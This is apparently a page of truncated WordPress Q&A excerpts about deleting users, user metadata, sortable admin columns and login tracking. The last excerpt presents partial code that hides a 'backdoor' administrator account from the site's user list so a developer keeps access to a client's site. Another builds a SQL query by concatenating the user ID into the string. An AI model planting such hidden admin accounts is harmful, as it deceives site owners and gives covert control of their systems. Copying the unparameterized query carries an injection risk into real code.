Front-end delete account in WordPress
take a look at wp_delete_user , all you need to do is pass the author’s id and his posts will be deleted along with its account.
take a look at wp_delete_user , all you need to do is pass the author’s id and his posts will be deleted along with its account.
Just look for an empty user_activation_key in users-table. If is empty, user is active. If is filled, user is inactive.
That’s typically the result of users deleting accounts directly in the database. The functions that count users queries to the usermeta table to determine how many users are of a given type, when users do manual deletion they often forget to remove relational data left in the meta table, which in turn throws off the … Read more
Doing This For a Single User In The user_register Filter Instead of using get_userdata in your filter, fetch the user itself as a WP_User object via get_user_by: $user = get_user_by( ‘id’, $user_id ); This gives you access to all of the fields of WP_User directly, e.g.: echo $user->user_login; Which you can then plug into your … Read more
Yes. The full answer is here in the codex: http://codex.wordpress.org/Plugin_API/Action_Reference/delete_user So I won’t repost its code. function my_delete_user($user_id) { global $wpdb; $email = $wpdb->get_var(“SELECT user_email FROM $wpdb->users WHERE ID = ‘” . $user_id . “‘ LIMIT 1″); $headers=”From: ” . get_bloginfo(“name”) . ‘ <‘ . get_bloginfo(“admin_email”) . ‘>’ . “\r\n”; wp_mail($email, ‘You are being deleted, … Read more
There’s a capability that’s named edit_others_posts, that you can assign to users or roles. But there’s also an easier way to do this: The (by default) hidden “Author” meta box. How-to change the author of a post 1. Click the “screen options” tab on the upper right of the admin screen. 2. Check the “Author” … Read more
I think an easy way to do this would be to make use of the wordpress template structure, take a look at Codex: Templates and Codex: Template Hierarchy for a general overview. But namely you could use the author templates – Codex: Author Templates – for this, so likely you will adapt the author.php file … Read more
I replaced //make the new column sortable function user_sortable_columns( $columns ) { $columns[‘login_level’] = ‘login_level’; return $columns; } add_filter( ‘manage_users_sortable_columns’, ‘user_sortable_columns’ ); //set instructions on how to sort the new column function my_user_query($userquery){ if(‘login_level’ == $userquery->query_vars[‘orderby’]) { global $wpdb; $userquery->query_from .= ” LEFT OUTER JOIN $wpdb->usermeta AS alias ON ($wpdb->users.ID = alias.user_id) “;//note use of … Read more
There’s several plugins in the directory that will track the last login time of your users, each with various options: http://wordpress.org/extend/plugins/search.php?q=last+login You could use one of those to track login times, and then delete unused accounts based on the information one of those plugins provides.
While you can’t guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example) add_action(‘pre_user_query’,’sleeper_pre_user_query’); function sleeper_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != ‘my_secret_admin_user’) { global $wpdb; $user_search->query_where = … Read more